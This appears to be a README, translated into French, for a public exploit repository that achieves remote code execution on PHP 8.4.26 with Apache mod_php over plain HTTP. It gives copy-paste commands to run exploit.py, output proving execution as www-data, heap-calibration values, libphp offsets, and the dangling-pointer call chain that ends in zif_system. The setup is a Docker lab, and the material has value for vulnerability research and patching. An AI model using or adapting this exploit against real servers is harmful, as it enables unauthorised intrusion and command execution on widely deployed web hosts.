
Exploit purement HTTP permettant une RCE sur PHP 8.4.26 + Apache mod_php via une fuite de tas session upload_progress, une réutilisation de pointeur pendant et un contournement de l'ASLR pour appeler zif_system.
中文 | English
Sous les contraintes « entièrement distant, uniquement HTTP, page cible sans session_start(), sans écrire aucun PHP côté cible », obtenir une RCE sur PHP 8.4.26 + Apache prefork + mod_php avec un seul exploit.py. L'image officielle php:8.4.26-apache a été testée avec succès 3/3 en une seule commande (PROOF: uid=33(www-data)...). La version actuelle exige display_errors=1 ; avec display_errors=0, la fuite de tas en pur HTTP a été obtenue, la RCE complète sera soumise ultérieurement.
Voici les commandes complètes, de zéro à la RCE ; il suffit de copier-coller l'ensemble pour l'exécuter. Ce dépôt ne compile ni PHP ni Apache, il n'y a pas de docker build : l'environnement est simplement l'image officielle php:8.4.26-apache avec les configurations montées depuis docker/.
# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull
# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d
# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php # OK
# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Si vous êtes déjà dans le répertoire du dépôt, ignorez
git clone/cd;pullpeut aussi être omis,up -drécupérera automatiquement l'image.
exploit.py effectue automatiquement la rotation des workers, la fuite en deux phases, l'exécution de zif_system et la lecture de la preuve, avec des tentatives de nouvelle exécution intégrées à chaque phase. Environnement d'exécution :
| Composant | Version | Source |
|---|---|---|
| PHP | 8.4.26 (NTS, mod_php) | php:8.4.26-apache |
| Système de base | Debian 12 (bookworm) | Idem ci-dessus |
| Apache | 2.4.69 (paquet Debian 12 dans l'image officielle, mesuré) | Idem ci-dessus |
| MPM | prefork, un seul worker | docker/apache.conf |
| Apache dans le rapport lab | 2.4.68 (compilé à l'origine par le lab, --profile lab) | Pour une correspondance exacte, utiliser le tag 2.4.68 de apache/httpd |
Dépôt d'images officiel : docker-library/php (Docker Hub : php:8.4.26-apache) ; code source PHP : php/php-src (tag php-8.4.26).
Lors de la première exécution, docker/offsets.py est exécuté automatiquement : il lit les offsets réels de zif_system / zval_ptr_dtor depuis libphp.so dans le conteneur et les écrit dans out/offsets.env, que exploit.py charge automatiquement ; il n'est donc pas nécessaire de modifier manuellement les offsets après un changement d'image officielle ou une mise à niveau. La commande par défaut est id>/out/p1 (10 octets) ; le /out du conteneur est monté sur le ./out du dépôt, et la preuve est déposée directement sur la machine locale :
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system 0x...
zval_ptr_dtor 0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
La limite de commande dans le payload est de 14 octets. Pour exécuter une commande arbitraire, écrivez le script dans le répertoire monté, puis exécutez-le avec sh</out/c (8 octets) :
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'
Paramètres courants : --profile, --cmd, --proof-file, --fetch, --zif-offset, --dtor-offset, --htdata-offset, --no-pre-rotate, --retries. Le profil par défaut est bookworm (image officielle) ; la construction originale du lab utilisait --profile lab. --offsets-file '' permet de désactiver la lecture automatique ; lorsque le nom du conteneur n'est pas php2shell-target, utilisez --docker-container pour le spécifier.
Le calibrage du tas pour bookworm est intégré : nombre de fillers de stage1 841 ; tableau cible de stage2 406, longueur de la valeur des éléments 16 ; stage3 HTDATA=chunk+0x690d8, le pad de A est 6×(31,31), et comporte en plus un Cookie: PHPSESSID valide de 32 caractères, ce qui permet à B de réutiliser le stale id (send_cookie=0), évitant que l'en-tête Set-Cookie de la session n'écrase val.type à R0+16 ; B utilise un carrier de 15B pour écraser val.value de la référence. Les offsets de libphp de l'image officielle sont lus automatiquement comme zif_system=0x465370, zval_ptr_dtor=0x65eb60 ; le lab original utilisait 0x43a870 / 0x613c50.
La surface de vulnérabilité est l'initialisation de session déclenchée par session.upload_progress avant le RINIT, ainsi que le pointeur suspendu résiduel entre requêtes après le bailout OOM. Ci-dessous, on prend la construction lab comme exemple ; les valeurs calibrées bookworm de l'image officielle se trouvent à la fin de l'exp.
Le trafic d'attaque de toute la chaîne est constitué uniquement de requêtes HTTP multipart ordinaires, et la page cible ne contient que <?php echo "OK\n"; ?> :
Rotation des workers : après A_bigfields (champ POST vivant de 3 Mo + OOM de 12 Mo) vient immédiatement un B qui initialise une session, le child se termine par SIGABRT ; le nouveau worker issu du fork du prefork hérite des mêmes mappings libphp/chunk.
Fuite de tas : A déclenche l'avertissement max_input_vars avec 1001 champs (display_errors=On → headers_sent=1), PHPSESSID=\x00 génère un nouvel id et met send_cookie=1, le dernier champ de 12 Mo provoque un OOM dans php_session_initialize(), PS(http_session_vars) devient suspendu. B réoccupe l'ancienne référence avec un buffer de valeur brute multipart de 56 o, et porte une fake HashTable avec la zend_string vivante de 192 o ; la lecture hors limites de php_url_encode() écrit le pointeur de chunk Zend MM dans Set-Cookie (4096 o, 98 pointeurs).
Fuite libphp : A place le PS(id) suspendu à chunk+0xb7400 ; la page HashTable de 56 o de B fait lire ZSTR_LEN(PS(id)) comme nTableSize=16, la zone de données est exactement nNextFreeElement|pDestructor ; pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50, on extrait la base libphp depuis Set-Cookie.
Exécution de commandes : A fixe la référence suspendue à R0=chunk+0x24e0 avec 6 pads ; B écrase R0-0x10 avec un raw buffer de 55 o, la fake HashTable est placée dans la chaîne vivante de 167 o à chunk+0x6e0d8, pDestructor = zif_system = libphp+0x43a870. Chaîne de déclenchement :
php_session_track_init()
zval_ptr_dtor(PS(http_session_vars))
zend_reference_destroy(R0)
zval_ptr_dtor(&ref->val) # IS_ARRAY_EX
zend_array_destroy(fake HT)
zend_hash_destroy(fake HT)
pDestructor(&bucket->val) # zif_system
Le terminal n'utilise que zif_system dans libphp, sans avoir besoin de libc.